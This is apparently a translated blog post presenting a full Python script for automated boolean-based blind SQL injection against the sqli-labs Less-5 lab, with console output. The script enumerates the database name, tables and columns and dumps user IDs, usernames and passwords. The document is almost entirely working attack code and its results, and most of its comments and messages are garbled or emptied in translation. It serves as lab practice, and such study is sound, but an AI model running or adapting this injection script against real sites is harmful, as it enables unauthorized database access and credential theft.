ブール型ブラインドpythonスクリプト(超完全機能)
40125 ワード
前言
久しぶりにpythonを書いて、簡単な練習手を書いて、ブール型盲注自動化スクリプトを書くことを考えています.この機能はとてもそろっていると思います.ここではsqli-labsの盲注ホールを参考にしてスクリプトを書きます.
bool_sqlblind.py
実行結果
何か書くのが悪いと思ったら、みんなが指摘して、一緒に交流して勉強します.
久しぶりにpythonを書いて、簡単な練習手を書いて、ブール型盲注自動化スクリプトを書くことを考えています.この機能はとてもそろっていると思います.ここではsqli-labsの盲注ホールを参考にしてスクリプトを書きます.
：6 bool_sqlblind.py
# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests
def ascii_str():#
str_list=[]
for i in range(33,127):#
str_list.append(chr(i))
#print(' ：%s'%str_list)
return str_list#
def db_length(url,str):
print("[-] .......")
num=1
while True:
db_payload=url+"' and (length(database())=%d)--+"%num
r=requests.get(db_payload)
if str in r.text:
db_length=num
print("[+] ：%d
"%db_length)
db_name(db_length)# ，
break
else:
num += 1
def db_name(db_length):
print("[-] .......")
db_name=''
str_list=ascii_str()
for i in range(1,db_length+1):
for j in str_list:
db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
r=requests.get(db_payload)
if str in r.text:
db_name+=j
break
print("[+] ：%s
"%db_name)
tb_piece(db_name)# ， security
return db_name
def tb_piece(db_name):
print(" %s ........"%db_name)
for i in range(100):# ，
tb_payload=url+"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
r=requests.get(tb_payload)
if str in r.text:
tb_piece=i
break
print("[+]%s %d
"%(db_name,tb_piece))
tb_name(db_name,tb_piece)# ，
def tb_name(db_name,tb_piece):
print("[-] .......")
table_list=[]
for i in range(tb_piece):
str_list=ascii_str()
tb_length=0
tb_name=''
for j in range(1,20):# ，
tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
r=requests.get(tb_payload)
if str in r.text:
tb_length=j
print(" %d ：%s"%(i+1,tb_length))
for k in range(1,tb_length+1):#
for l in str_list:
tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
r=requests.get(tb_payload)
if str in r.text:
tb_name+=l
print("[+]：%s"%tb_name)
table_list.append(tb_name)
break
print("
[+]%s %s ：%s
"%(db_name,tb_piece,table_list))
column_num(table_list,db_name)# ，
def column_num(table_list,db_name):
print("[-] ：.......")
column_num_list=[]
for i in table_list:
for j in range(30):# ，
column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
r=requests.get(column_payload)
if str in r.text:
column_num=j
column_num_list.append(column_num)# ，
print("[+]%s \t%s "%(i,column_num))
break
print("
[+] ：%s
"%column_num_list)
column_name(table_list,column_num_list,db_name)# ，
def column_name(table_list,column_num_list,db_name):
print("[-] .......")
column_length=[]
str_list=ascii_str()
column_name_list=[]
for t in range(len(table_list)):#t
print("
[+]%s ："%table_list[t])
for i in range(column_num_list[t]):#i
column_name=''
for j in range(1,21):#j
column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
r=requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list:#k
column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
r=requests.get(column_payload)
if str in r.text:
column_name+=k
print('[+]：%s'%column_name)
column_name_list.append(column_name)
#print(column_name_list)#
dump_data(table_list,column_name_list,db_name)# ，
def dump_data(table_list,column_name_list,db_name):
print("
[-] %s %s .......
"%(table_list[3],column_name_list[9:12]))
str_list=ascii_str()
for i in column_name_list[9:12]:#id,username,password
for j in range(101):#j ，
data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
r=requests.get(data_num_payload)
if str in r.text:
data_num=j
break
print("
[+]%s %s %s ："%(table_list[3],i,data_num))
for k in range(data_num):
data_len=0
dump_data=''
for l in range(1,21):#l ，
data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
r=requests.get(data_len_payload)
if str not in r.text:
data_len=l-1
for x in range(1,data_len+1):#x ， mid
for y in str_list:
data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
r=requests.get(data_payload)
if str in r.text:
dump_data+=y
break
break
print('[+]%s'%dump_data)#
if __name__ == '__main__':
url="http://127.0.0.1/sqli-labs/Less-5/?id=1"# url
str="You are in"# true&false
db_length(url,str)#
実行結果
PS C:\Users\Administrator\Desktop> python3 .\bool_sqlblind.py [-] .......
[+] ：8
[-] .......
[+] ：security
security ........
[+]security 4
[-] .......
1 ：6
[+]：emails
2 ：8
[+]：referers
3 ：7
[+]：uagents
4 ：5
[+]：users
[+]security 4 ：['emails', 'referers', 'uagents', 'users']
[-] ：.......
[+]emails 2
[+]referers 3
[+]uagents 4
[+]users 7
[+] ：[2, 3, 4, 7]
[-] .......
[+]emails ：
[+]：id
[+]：email_id
[+]referers ：
[+]：id
[+]：referer
[+]：ip_address
[+]uagents ：
[+]：id
[+]：uagent
[+]：ip_address
[+]：username
[+]users ：
[+]：id
[+]：username
[+]：password
[+]：level
[+]：id
[+]：username
[+]：password
[-] users ['id', 'username', 'password'] .......
[+]users id 13 ：
[+]1
[+]2
[+]3
[+]4
[+]5
[+]6
[+]7
[+]8
[+]9
[+]10
[+]11
[+]12
[+]14
[+]users username 13 ：
[+]Dumb
[+]Angelina
[+]Dummy
[+]secure
[+]stupid
[+]superman
[+]batman
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dhakkan
[+]admin4
[+]users password 13 ：
[+]Dumb
[+]I-kill-you
[+]p@ssword
[+]crappy
[+]stupidity
[+]genious
[+]mob!le
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dumbo
[+]admin4
PS C:\Users\Administrator\Desktop>
何か書くのが悪いと思ったら、みんなが指摘して、一緒に交流して勉強します.